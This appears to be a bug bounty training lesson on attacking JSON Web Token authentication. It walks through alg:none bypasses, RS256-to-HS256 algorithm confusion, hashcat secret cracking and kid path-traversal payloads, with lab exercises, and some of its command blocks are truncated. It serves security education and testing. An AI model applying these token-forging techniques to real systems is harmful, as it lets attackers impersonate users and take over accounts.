⚠️ Authorised Testing Only: JWT attack techniques must only be used against applications within an explicit bug bounty programme scope or systems you own. Forging authentication tokens against production applications without authorisation is illegal.
JWT attacks bug bounty 2026 : JSON Web Tokens are the authentication mechanism underpinning the majority of modern APIs and single-page applications, and they contain implementation vulnerabilities that produce some of the highest-severity findings in the entire bug bounty category. An alg:none bypass gives you complete control over all authentication claims with no valid signature. An algorithm confusion attack lets you forge admin tokens using the server’s own public key. A weak HMAC secret cracked in under one second lets you impersonate any user in the system. Today you learn all three, plus kid injection and header parameter attacks that round out the complete JWT attack surface.
🎯 What You’ll Master in Day 17
Decode and analyse JWT structure — header, payload, and signature
Execute the alg:none attack to bypass signature verification entirely
Perform RS256 to HS256 algorithm confusion using the server’s public key
Crack weak HMAC secrets with Hashcat mode 16500
Test kid parameter injection for path traversal and SQL injection
⏱️ 50 min read · 3 hands-on exercises
📋 What You’ll Master — JWT Attacks Bug Bounty 2026
Every JWT consists of three Base64url-encoded sections separated by dots: header.payload.signature. The header specifies the algorithm used for signing. The payload contains the claims — user ID, role, permissions, expiry. The signature is a cryptographic hash of the encoded header and payload, produced using a secret key.
The entire security model of JWT depends on the signature being unforgeable. If you can produce a valid signature for a modified payload, or bypass signature verification entirely, you control every claim in the token — including admin flags, user IDs, and permission levels. JWT attacks target exactly this: either bypassing verification or forging valid signatures.
📸 JWT structure decoded — header specifying algorithm, payload containing role claim, and signature protecting integrity. JWT attacks target either the algorithm field or the signature verification logic.
🛠️ EXERCISE 1 — BROWSER (10 MIN · NO INSTALL)
Decode and Analyse a JWT Token From a Real Application
⏱️ Time: 10 minutes · Browser only · jwt.io
Step 1: Open jwt.io in your browser
Step 2: Log into any application in a bug bounty programme scope
that uses JWT authentication (check for “Authorization: Bearer eyJ…”
in DevTools Network tab, or a cookie containing “eyJ”)
Step 3: Copy the full JWT token value
Step 4: Paste it into jwt.io — observe:
– What algorithm is used? (HS256, RS256, ES256?)
– What claims are in the payload? (sub, role, admin, email?)
– Is there an “exp” claim? When does it expire?
– Is there a “kid” or “jku” or “x5u” header parameter?
Step 5: In jwt.io, try modifying the payload:
– Change any role value (“user” → “admin”)
– Change any user ID
Note: jwt.io will show “Signature Invalid” — that’s expected
Step 6: Now go to Burp Suite (if open) or DevTools
Search your request history for the JWT in:
– Authorization: Bearer [token]
– Cookie: session=[token] or token=[token]
– Request body: {“token”: “eyJ…”}
Step 7: Document for each JWT found:
– Which endpoint issued it?
– Which endpoints consume it?
– What sensitive claims does it contain?
✅ What you just learned: JWT analysis at jwt.io is the mandatory first step before any attack. The algorithm field determines which attack vector is viable — HS256 suggests weak secret cracking; RS256 suggests algorithm confusion. The presence of kid, jku, or x5u parameters signals advanced attack surfaces. A role or admin field in the payload is the direct target for every attack — if you can modify it without signature validation failing, you have an authentication bypass.
📸 Screenshot your decoded JWT showing the claims and algorithm type and share in #day-17-jwt on Discord.
The alg:none Attack — Removing Signature Verification
The alg:none attack exploits JWT implementations that follow the specification too literally. The JWT standard defines “none” as a valid algorithm value meaning “no digital signature.” Vulnerable libraries, when they encounter alg:none, skip signature verification and accept the token’s claims at face value. The attacker removes the signature entirely and sets any payload claims they want.
# Step 5: In Burp Repeater — replace Authorization header
Authorization: Bearer [new_header].[new_payload].
# Try variants — some filters check case:
“alg”: “none”
“alg”: “None”
“alg”: “NONE”
“alg”: “nOnE”
Algorithm Confusion — RS256 to HS256 with the Public Key
Algorithm confusion exploits the misuse of asymmetric JWT algorithms. RS256 uses a private key to sign and a public key to verify — the public key is safe to share. But if the server’s JWT library supports both RS256 and HS256, and an attacker changes the algorithm from RS256 to HS256 in the token header, some vulnerable implementations will verify the signature using the RSA public key as the HMAC secret. The public key is often accessible — from an endpoint like /.well-known/jwks.json or embedded in the application. The attacker can then sign any forged token with the public key and the vulnerable server will accept it.
ALGORITHM CONFUSION — RS256 TO HS256
# Step 1: Find the public key (common locations)
/.well-known/jwks.json
/.well-known/openid-configuration
/api/v1/jwks
# Step 2: Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool && cd jwt_tool
Exploit JWT Vulnerabilities Using PortSwigger Web Academy Labs
⏱️ Time: 20 minutes · Free PortSwigger account
Step 1: Go to portswigger.net/web-security/jwt
Step 2: Open the lab: “JWT authentication bypass via unverified signature”
Step 3: This lab’s server does not verify JWT signatures at all
— just decode and modify the payload
Step 4: In Burp, intercept a request with the JWT
Step 5: Go to the JWT tab (requires JWT Editor extension) in Repeater
Step 6: Change the “sub” claim from your username to “administrator”
Step 7: Send the request — you should get admin access
Step 8: Next try: “JWT authentication bypass via flawed signature verification”
Step 9: This lab has the alg:none vulnerability
— set algorithm to “none” and remove the signature
Step 10: Try: “JWT authentication bypass via weak signing key”
— crack the secret with:
hashcat -a 0 -m 16500 TOKEN /usr/share/wordlists/rockyou.txt
Use the cracked secret to forge an admin token in jwt.io
For each lab, document:
– What was the vulnerability?
– What claim did you modify?
– What response confirmed admin access?
✅ What you just learned: The three PortSwigger JWT labs cover the full spectrum from trivial to realistic vulnerabilities. The unverified signature lab shows that some applications accept any JWT payload without any verification — arguably the worst possible implementation. The alg:none lab shows the specification-level vulnerability. The weak key lab shows the infrastructure-level problem of predictable secrets. Together they represent the three distinct root causes of JWT vulnerabilities: no verification, bypassed verification, and guessable keys.
📸 Screenshot admin access achieved in each lab and share in #day-17-jwt on Discord.
kid Parameter Injection — Path Traversal and SQL in Headers
The kid (Key ID) header parameter is an optional JWT field that tells the server which key to use for signature verification. If the application uses the kid value as a file path or database query to retrieve the verification key, it is vulnerable to path traversal or SQL injection through the JWT header itself — an attack surface that WAFs and standard input validation almost never cover.
KID PARAMETER INJECTION ATTACKS
# Path traversal via kid — sign with empty string as secret
# 3. In PAYLOAD: change “role”:”user” to “role”:”admin”
# 4. In VERIFY SIGNATURE: enter cracked secret
# Signature Verified ← new token is valid with admin role
# Use forged token as your bug bounty PoC
✅ What you just learned: The complete JWT secret cracking and token forging workflow mirrors exactly what you do in a real bug bounty report. The jwt_wordlist.txt with common secrets is important — the most commonly found JWT secrets in production are literally “secret”, “password”, and environment variable names like “JWT_SECRET” that match the key name exactly. In a real report, your PoC is: (1) original token showing user role, (2) hashcat command and cracked secret, (3) forged token with admin role, (4) request/response showing admin access granted with the forged token. That four-step PoC gets rated Critical every time.
📸 Screenshot hashcat cracking the secret and jwt.io showing the forged valid token and share in #day-17-jwt on Discord. Tag #jwtattacks2026
Severity and Reporting JWT Vulnerabilities in Bug Bounty
JWT vulnerabilities consistently earn Critical ratings in bug bounty programmes because they enable complete authentication bypass — an attacker can impersonate any user, including administrators, without knowing any credentials. The severity is not theoretical. Your PoC should demonstrate forged admin access directly.
The ideal PoC structure: (1) capture a legitimate user JWT and decode it, showing the role claim; (2) execute the attack (alg:none, algorithm confusion, or cracked secret); (3) produce the forged token with role or sub modified; (4) send a request to a privileged endpoint with the forged token and screenshot the admin response. This four-step progression takes the programme from “JWT vulnerability found” to “demonstrated full authentication bypass” — the difference between a Medium and Critical payout.
🧠 QUICK CHECK — Day 17
You find an RS256-signed JWT on a target. The application’s /.well-known/jwks.json endpoint returns the server’s RSA public key. When you change the algorithm to HS256 in the JWT header and re-sign with the public key as the HMAC secret, the server returns a 200 response with admin data. What is this attack and why does it work?
📋 JWT Attack Checklist — Day 17
Decode token at jwt.io → note alg, claims, special headersFirst step before any attack — understand the token structure
Test alg:none — try “none”, “None”, “NONE”, “nOnE”Case variants bypass some filter implementations
Get public key from /.well-known/jwks.jsonRequired for algorithm confusion attack
hashcat -m 16500 token.txt rockyou.txtCrack HS256 secret — try common secrets wordlist first
kid: ../../dev/null + sign with empty secretPath traversal via kid parameter
JWT vulnerabilities are among the highest-paying findings in bug bounty. The four attack types you learned today — alg:none, algorithm confusion, weak secret, and kid injection — cover the complete JWT attack surface. Each one can produce Critical authentication bypass with the right PoC.
❓ Frequently Asked Questions
What is a JWT and how is it used in authentication?
A JWT is a compact token containing signed claims — user identity, role, permissions. After login the server issues a JWT; the client includes it in every request. The server verifies the signature and trusts the claims without a database lookup. Signature bypass attacks give attackers control over all claims.
What is the JWT alg:none attack?
Setting the header algorithm to “none” causes some libraries to skip signature verification entirely. The attacker removes the signature, sets any payload claims (e.g., admin: true), and the vulnerable server accepts the token. Try case variants: none, None, NONE, nOnE.
What is JWT algorithm confusion?
Changing an RS256 token to HS256 and re-signing with the server’s RSA public key as the HMAC secret. Vulnerable servers verify the HS256 signature using their stored RSA public key — which the attacker used to sign. The public key is often accessible from /.well-known/jwks.json.
How do I crack a JWT secret for bug bounty?
hashcat -m 16500 jwt_token.txt rockyou.txt. Mode 16500 is JWT HMAC cracking. If the secret is dictionary-crackable, it is recovered in seconds. Once cracked, forge any claims at jwt.io and sign with the recovered secret — submit as a Critical finding with forged admin access as PoC.
What JWT tools are available in Burp Suite?
JWT Editor extension (free, BApp Store) adds a JWT tab in Repeater with one-click attack testing, payload editing, and secret cracking. jwt_tool (Python CLI) automates all attacks including alg:none, algorithm confusion, kid injection, and brute force. jwt.io decodes any token in browser.
← Previous
Day 16: Rate Limiting Bug Bounty 2026
Next →
Day 18: OAuth 2.0 Bug Bounty 2026
📚 Further Reading
Rate Limiting Bug Bounty 2026— Day 16 covers rate limit bypass — the authentication attack layer that chains with JWT vulnerabilities when combined with brute force against token endpoints.
60-Day Bug Bounty Mastery Course— The complete course hub — Day 17 JWT attacks sit within the authentication vulnerability phase alongside rate limiting, OAuth, and CSRF covering Days 16–20.
PortSwigger JWT Attack Labs— Eight progressive JWT labs covering unverified signatures, alg:none, weak secrets, algorithm confusion, and kid injection with a working lab environment for every technique.
jwt_tool GitHub Repository— The definitive JWT attack toolkit — automated all-attack mode, algorithm confusion, kid injection, and secret brute force with detailed output for bug bounty reporting.
jwt.io — JWT Decoder and Encoder— The standard JWT analysis tool — decode any token, modify claims, and verify or forge signatures with known secrets directly in the browser.
ME
Mr Elite
Owner, SecurityElites.com
The JWT finding that reset my understanding of how common these vulnerabilities are came from a financial services API that handled fund transfer authorisation. The token used HS256 with a secret that was literally the company’s name followed by “2019” — the year the application was built. Hashcat cracked it in under two seconds against a standard wordlist. I forged a token with a different user’s account number in the sub claim and could initiate transfer authorisation on their behalf. The application had been in production for six years. Six years of Critical-severity authentication bypass available to anyone who thought to run a fifteen-second hashcat command against an intercepted JWT. That finding paid more than my first three months of bug bounty combined.
Leave a Reply